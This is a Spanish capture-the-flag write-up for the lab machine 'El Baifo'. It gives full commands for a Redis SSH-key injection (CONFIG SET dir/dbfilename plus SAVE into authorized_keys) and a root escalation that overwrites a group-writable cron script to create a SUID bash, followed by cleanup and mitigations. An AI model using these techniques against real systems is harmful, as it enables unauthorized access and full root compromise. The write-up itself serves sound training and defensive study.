El Baifo
Máquina: The Hackers Labs — El Baifo Sistema operativo objetivo: Debian 12 “Bookworm” Dificultad: Fácil/Media Vector de entrada: Redis sin autenticación → inyección de clave SSH Escalada de privilegios: Script de cron ejecutado como root, escribible por grupo
Resumen de flags
| Flag | Valor | Obtenida en |
|---|---|---|
Usuario (user.txt) |
████████████ |
Fase 5 |
Root (root.txt) |
████████████ |
Fase 7 |
Nota sobre las IPs: en este writeup la máquina objetivo aparece como
192.168.56.101y el atacante (Kali) como192.168.56.1, asignadas por el DHCP interno de VirtualBox. Si repites el proceso, las tuyas pueden variar — confírmalas conip a(host) y con el escaneo de red del paso 1.2.
Herramientas necesarias
Todas vienen por defecto en Kali salvo mosquitto-clients:
sudo apt-get install -y mosquitto-clients redis-toolsTambién hace falta VirtualBox (con el módulo vboxdrv cargado) para correr la máquina, nmap para el reconocimiento, y el cliente ssh estándar.
Fase 0 — Preparar el entorno virtual
0.1 Descomprimir la máquina
The Hacker Labs distribuye las máquinas como .ova dentro de un .zip:
unzip "The Hackers Labs - El Baifo.zip"Esto deja un único archivo The Hackers Labs - El Baifo.ova — una máquina virtual completa (formato Open Virtualization Appliance), no una ISO que se “monta”.
0.2 Crear una red aislada Host-Only
Para poder atacar la VM sin exponerla a tu LAN ni a internet:
VBoxManage hostonlyif createEsto crea vboxnet0 en 192.168.56.1/24 (tu Kali) con un servidor DHCP interno que asigna direcciones en el rango 192.168.56.100–192.168.56.254 a las VMs que se conecten.
0.3 Importar el OVA
VBoxManage import "The Hackers Labs - El Baifo.ova" \
--vsys 0 --vmname "TheHackersLabs-ElBaifo"0.4 Conectar la VM a la red host-only
Por defecto el OVA trae la interfaz en modo Bridged. La cambiamos:
VBoxManage modifyvm "TheHackersLabs-ElBaifo" \
--nic1 hostonly --hostonlyadapter1 vboxnet00.5 Arrancar la máquina
VBoxManage startvm "TheHackersLabs-ElBaifo" --type headless--type headless la arranca sin ventana gráfica (corre en segundo plano). Si prefieres verla, usa --type gui.
Para apagarla o volver a arrancarla más adelante:
VBoxManage controlvm "TheHackersLabs-ElBaifo" poweroff
VBoxManage startvm "TheHackersLabs-ElBaifo" --type headlessFase 1 — Reconocimiento
1.1 Localizar la IP asignada por DHCP
nmap -sn 192.168.56.100-200Puede aparecer más de un host: el propio servidor DHCP de VirtualBox (normalmente en la .100) y la VM objetivo. Se distinguen por la MAC (Oracle VirtualBox virtual NIC en ambos) — confirma cuál es la VM comprobando cuál responde a un escaneo de puertos.
1.2 Escaneo inicial (top-1000 puertos)
nmap -sV -sC -Pn 192.168.56.101Resultado:
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u9
80/tcp open http Apache httpd 2.4.66 ((Debian))
|_http-title: El Baifo — Quesería artesanal de Gran Canaria
Solo dos puertos visibles — pero el enunciado del reto menciona MQTT y Redis, que no están en este resultado. Hay que ir más allá del top-1000.
1.3 Escaneo completo (los 65535 puertos)
nmap -p- --min-rate 3000 -Pn 192.168.56.101Resultado:
22/tcp open ssh
80/tcp open http
1883/tcp open mqtt
6379/tcp open redis
Ahí aparecen los dos servicios clave, ocultos fuera del rango por defecto.
1.4 Detalle de los servicios no-HTTP
nmap -sV -sC -Pn -p 1883,6379 192.168.56.101Esto identifica mosquitto version 2.0.11 en el 1883 y Redis key-value store 7.0.15 en el 6379. El propio script mqtt-subscribe de Nmap ya deja ver una foto parcial de los topics activos — pero para capturar tráfico completo hace falta suscribirse en vivo (Fase 2).
Fase 2 — Reconocimiento de servicios no-HTTP
2.1 MQTT: escuchar el tráfico en tiempo real
MQTT es un protocolo publicador/suscriptor. Un broker (Mosquitto, en este caso) sin autenticación ni ACLs permite que cualquiera se suscriba a todos los topics con el comodín #:
mosquitto_sub -h 192.168.56.101 -t '#' -v-v (verbose) imprime topic payload en cada línea. Déjalo correr unos 30–40 segundos (o usa timeout 40 mosquitto_sub ...) para capturar varios ciclos de publicación.
Hallazgo clave, entre topics de telemetría de collares de ganado (baifo/rebano/*/temperatura, .../ubicacion, .../actividad), aparece un topic operativo:
baifo/sistemas/turno Encargado de turno: Antonio (pastor01) — revisión de collares OK
Esto filtra el nombre de un usuario real del sistema: pastor01. Es la pieza que conecta MQTT con el siguiente paso.
2.2 Redis: comprobar acceso sin autenticación
redis-cli -h 192.168.56.101 pingSi responde PONG sin pedir contraseña, el servidor no tiene autenticación (requirepass vacío) — acceso administrativo completo para cualquiera que llegue al puerto.
Explorar qué hay dentro:
redis-cli -h 192.168.56.101 KEYS '*'
redis-cli -h 192.168.56.101 GET clave
redis-cli -h 192.168.56.101 CONFIG GET dir
redis-cli -h 192.168.56.101 CONFIG GET dbfilenameCONFIG GET dir reveló el directorio de trabajo por defecto de Redis (/var/lib/redis) — confirma que CONFIG SET dir funciona y que tenemos permiso de escritura en el filesystem a través de Redis.
Fase 3 — Explotación: inyección de clave SSH vía Redis
Redis permite reconfigurar en caliente dónde y con qué nombre vuelca su base de datos a disco (CONFIG SET dir / CONFIG SET dbfilename + SAVE). Si apuntamos esos parámetros al .ssh de un usuario y el archivo de destino es authorized_keys, podemos hacer que Redis “escriba” nuestra clave pública ahí.
3.1 Generar un par de claves dedicado al ataque
ssh-keygen -t ed25519 -f ./id_ed25519 -N "" -C "hackerlab@baifo"-N ""→ sin passphrase (para poder automatizar la conexión).-f→ ruta de salida; generaid_ed25519(privada) eid_ed25519.pub(pública).
3.2 Confirmar que el directorio .ssh del usuario existe
CONFIG SET dir falla si el directorio no existe (Redis hace chdir internamente):
redis-cli -h 192.168.56.101 CONFIG SET dir /home/pastor01/.sshRespuesta OK → el directorio existe y Redis puede escribir ahí.
3.3 Apuntar el nombre de archivo de destino
redis-cli -h 192.168.56.101 CONFIG SET dbfilename authorized_keys3.4 Cargar la clave pública como valor de una key
PUBKEY=$(cat ./id_ed25519.pub)
redis-cli -h 192.168.56.101 FLUSHALL
redis-cli -h 192.168.56.101 SET clave_ssh $'\n\n'"${PUBKEY}"$'\n\n'FLUSHALLlimpia la base para que el.rdbresultante contenga solo nuestra key (evita basura innecesaria en el archivo final).- Los
\n\nantes y después de la clave son importantes: separan nuestra línea válida del resto de bytes binarios propios del formato RDB, para quesshdla reconozca como una línea deauthorized_keysválida al parsear el archivo.
3.5 Forzar el volcado a disco
redis-cli -h 192.168.56.101 SAVESAVE escribe inmediatamente el contenido en memoria al archivo configurado — en este caso, /home/pastor01/.ssh/authorized_keys.
Fase 4 — Acceso inicial por SSH
ssh -i ./id_ed25519 -o StrictHostKeyChecking=accept-new [email protected]Si todo salió bien, entras sin contraseña como pastor01:
id
# uid=1001(pastor01) gid=1001(pastor01) grupos=1001(pastor01)Fase 5 — Capturar la flag de usuario
cat ~/user.txtResultado:
████████████
Fase 6 — Enumeración para escalada de privilegios
6.1 Comprobaciones estándar
id
sudo -l
cat /etc/crontab
ls -la /etc/cron.d/sudo -l pide contraseña (sin acceso), así que el vector no es sudo. Pero /etc/cron.d/ tiene algo interesante:
--/etc/cron.d/baifo-backup--
*/2 * * * * root /opt/baifo/scripts/backup-collares.sh
Un script que root ejecuta cada 2 minutos. El objetivo ahora es ver si podemos modificarlo.
6.2 Revisar permisos del script
ls -la /opt/baifo/scripts/backup-collares.shResultado:
-rwxrwx--- 1 root pastor01 138 jul 28 11:01 backup-collares.sh
El grupo propietario del archivo es pastor01, con permisos rwx para ese grupo. Y nuestro usuario pertenece exactamente a ese grupo (gid=1001(pastor01)). Conclusión: podemos escribir un archivo que root ejecuta automáticamente cada 2 minutos.
Fase 7 — Escalada de privilegios: abuso del cron
7.1 Respaldar el script original
Por higiene (para poder restaurarlo después):
cp /opt/baifo/scripts/backup-collares.sh /tmp/backup-collares.sh.orig7.2 Sobrescribir el script con nuestro payload
cat > /opt/baifo/scripts/backup-collares.sh << "EOF"
#!/bin/bash
# Backup diario de los registros de telemetria de collares
rsync -a /opt/baifo/logs/ /var/backups/baifo-collares/ 2>/dev/null
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
EOFMantenemos la funcionalidad original (rsync) y añadimos dos líneas: copiar /bin/bash a /tmp/rootbash y darle el bit SUID (chmod u+s). Como root ejecuta el script, esa copia de bash quedará con el bit SUID puesto por root — cualquiera que la ejecute obtiene un shell con euid=0.
No hace falta
chmodsobre el propio script: ya teníamos permiso de escritura por el grupo, y sobrescribir el contenido de un archivo no requiere permiso sobre el directorio que lo contiene.
7.3 Esperar al disparo del cron (máx. 2 minutos)
until test -u /tmp/rootbash; do sleep 5; done
ls -la /tmp/rootbashResultado esperado:
-rwsr-xr-x 1 root root 1265648 ago 20 05:22 /tmp/rootbash
La s en rwsr-xr-x confirma el bit SUID activo, propiedad de root.
7.4 Escalar y capturar la flag de root
/tmp/rootbash -p -c "id; cat /root/root.txt"-p le dice a bash que no abandone los privilegios elevados al detectar que euid != uid (comportamiento de seguridad por defecto que, sin -p, anularía el SUID).
Resultado:
uid=1001(pastor01) gid=1001(pastor01) euid=0(root) grupos=1001(pastor01)
████████████
🚩 Root conseguido.
Fase 8 — Limpieza (buena práctica)
Dejar la máquina como estaba, por si quieres repetir el reto o dejarla lista para que otra persona la use:
cp /tmp/backup-collares.sh.orig /opt/baifo/scripts/backup-collares.sh
/tmp/rootbash -p -c "rm -f /tmp/rootbash"
rm -f /tmp/backup-collares.sh.origResumen de la cadena de ataque
Escaneo completo de puertos (nmap -p-)
│
▼
MQTT sin autenticación (mosquitto_sub -t '#')
→ filtra el usuario del sistema "pastor01"
│
▼
Redis sin autenticación (redis-cli PING → PONG)
→ CONFIG SET dir/dbfilename + SET + SAVE
→ escribe authorized_keys de pastor01
│
▼
Acceso SSH como pastor01 (sin contraseña)
→ flag de usuario
│
▼
Cron: script ejecutado por root, escribible por el grupo de pastor01
→ payload que crea /tmp/rootbash con SUID
│
▼
/tmp/rootbash -p → shell como root
→ flag de root
Causas raíz y mitigación
| Debilidad | Mitigación recomendada |
|---|---|
| Broker MQTT sin autenticación ni ACLs | Configurar password_file y acl_file en Mosquitto; nunca publicar identidades de usuarios reales en topics |
Redis expuesto sin requirepass y sin bind 127.0.0.1 |
Activar autenticación, forzar bind a localhost, activar protected-mode yes |
| Script de cron root con grupo de escritura de un usuario sin privilegios | Los scripts ejecutados por root deben pertenecer a root:root con permisos 750 o más restrictivos — nunca dar w de grupo a un usuario no-root |
«El pájaro lucha para salir del huevo. El huevo es el mundo. Quien quiera nacer, tiene que destruir un mundo.»
— Hermann Hesse, Demian